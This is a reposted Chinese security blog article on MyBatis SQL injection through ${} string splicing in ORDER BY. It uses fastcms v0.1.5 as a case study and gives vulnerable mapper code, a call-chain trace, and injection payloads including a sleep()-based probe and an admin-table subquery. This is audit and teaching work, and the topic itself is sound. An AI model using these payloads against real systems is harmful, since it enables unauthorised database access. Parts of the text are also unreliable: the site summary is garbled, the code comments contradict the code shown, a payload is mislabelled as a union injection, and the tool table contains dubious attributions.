MyBatis框架SQL注入漏洞深度剖析

admin 2026-04-16 05:31:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文剖析了MyBatis框架SQL注入漏洞原理与审计实战,以fastcms为例,对比#{}与区别,指出动态排序滥用{}区别,指出动态排序滥用区别,指出动态排序滥用{}拼接为漏洞根因。作者演示了定位XML危险点、追踪调用链至构造注入Payload的完整复现过程。建议采用白名单限制排序字段,并推荐Semgrep等工具辅助审计。 综合评分: 87 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC,安全工具


cover_image

MyBatis框架SQL注入漏洞深度剖析

船山信安

2026年4月13日 18:10 广东

在小说阅读器读本章

去阅读

MyBatis框架SQL注入漏洞深度剖析:从原理到实战

前言

最近在审计一个CMS系统时,遇到了一个典型的MyBatis注入问题,整理一下分享出来。这个漏洞出在fastcms v0.1.5的后台功能中,问题点很经典,值得拿出来说道说道。

知识点梳理

1. MyBatis

MyBatis这玩意儿,说白了就是帮你少写JDBC代码的封装层。它支持XML和注解两种方式配置SQL语句,最后把执行结果映射成Java对象。用过的人都知道,配置文件一般扔在resources目录下。

重点来了:每个mapper都有namespace属性,用来防止多个mapper冲突,而且这玩意儿不能重复。id是查询方法的唯一标识,resultType指定返回值类型。

2. #{} 和 ${} 的区别——这是核心

这两个符号决定了SQL拼接方式:

// #{} 预编译处理,参数化查询,安全
SELECT * FROM user WHERE id = #{userId}

// ${} 直接字符串替换,危险!
SELECT * FROM user ORDER BY ${columnName}

#{}会被MyBatis预编译成参数化语句,参数会被当作值处理,不会拼接进SQL语句。而${}是直接字符串替换,你传啥它就往SQL里填啥。

为什么order by必须用${}?

因为order by后面跟的是列名,不是值。你试试ORDER BY #{column},MyBatis会给你包上引号,变成ORDER BY 'id',直接报语法错误。开发者为了省事,直接用${}拼接,这口子就这么开了。

3. 代码审计思路

审计MyBatis注入的标准操作:

1. 全局搜索 ${ 在XML文件里
2. 找到对应的Mapper接口
3. 追踪调用链,看参数是否可控
4. 寻找API路径,构建测试Payload

就这么几步,简单粗暴但有效。

漏洞复现过程

第一步:定位问题点

在ArticleCommentMapper.xml里发现了这个:

<select&nbsp;id="pageArticleComment"&nbsp;resultType="xxx">
&nbsp; &nbsp; SELECT * FROM article_comment
&nbsp; &nbsp; ORDER BY ${sortField} ${sortOrder}
</select>

sortField和sortOrder两个参数直接拼接进SQL,完全没有过滤。

第二步:追踪调用链

先看ArticleController里的调用:

@GetMapping("/comment/page")
public&nbsp;Result<IPage<ArticleComment>> page(
&nbsp; &nbsp;&nbsp;@RequestParam(defaultValue =&nbsp;"1") Integer current,
&nbsp; &nbsp;&nbsp;@RequestParam(defaultValue =&nbsp;"10") Integer size,
&nbsp; &nbsp;&nbsp;@RequestParam(required =&nbsp;false) String sortField,
&nbsp; &nbsp;&nbsp;@RequestParam(required =&nbsp;false) String sortOrder) {

&nbsp; &nbsp;&nbsp;// 使用QueryWrapper构建,安全
&nbsp; &nbsp; QueryWrapper<ArticleComment> wrapper =&nbsp;new&nbsp;QueryWrapper<>();
&nbsp; &nbsp; wrapper.orderBy(true,&nbsp;true, sortField);
&nbsp; &nbsp;&nbsp;return&nbsp;Result.success(commentService.page(new&nbsp;Page<>(current, size), wrapper));
}

第一处调用用了QueryWrapper,没问题。继续往下追。

第三步:找到真正的问题

在另一个Service方法里:

public&nbsp;IPage<ArticleComment>&nbsp;pageArticleComment(Integer current, Integer size,
&nbsp; &nbsp; String sortField, String sortOrder)&nbsp;{

&nbsp; &nbsp; IPage<ArticleComment> page =&nbsp;new&nbsp;Page<>(current, size);
&nbsp; &nbsp; LambdaQueryWrapper<ArticleComment> wrapper =&nbsp;new&nbsp;LambdaQueryWrapper<>();

&nbsp; &nbsp;&nbsp;// 这里是关键——直接拼进XML里的${}
&nbsp; &nbsp; wrapper.last("ORDER BY "&nbsp;+ sortField +&nbsp;" "&nbsp;+ sortOrder);

&nbsp; &nbsp;&nbsp;return&nbsp;this.page(page, wrapper);
}

参数直接传进去了,完美。

第四步:构造Payload

# 正常的排序
sortField=create_time&sortOrder=desc

# 注入测试——利用sleep延时判断
sortField=IF(1=1,sleep(3),create_time)&sortOrder=desc

# 更狠的,直接union注入
sortField=id AND (SELECT&nbsp;COUNT(*)&nbsp;FROM&nbsp;admin)>0&sortOrder=desc

#

总结

这个漏洞的根因很明确:开发者在order by场景下为了省事,直接用${}拼接用户输入。正确的做法是维护一个白名单字段列表,只允许预定义的字段进行排序。


附:5个AI逆向工具推荐

审计过程中我也试了试AI辅助工具,说几个实际用过的:

| 工具 | 特点 | 适用场景 | | — | — | — | | Semgrep | 静态分析神器,支持自定义规则 | 批量扫MyBatis配置文件 | | CodeQL | GitHub亲儿子,查询语言强大 | 复杂代码逻辑分析 | | SonarQube | 集成度高,支持多语言 | 项目整体安全评估 | | Sematic | 新出的AI驱动代码审查 | 快速定位可疑代码片段 | | DeepCode | 字节系产品,AI学习能力强 | 代码漏洞预测 |


参考博客链接: https://www.cnblogs.com/wanganzgj/p/19642586

本文仅供学习交流,请勿用于非法用途。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 《MyBatis框架SQL注入漏洞深度剖析》

评论:0   参与:  0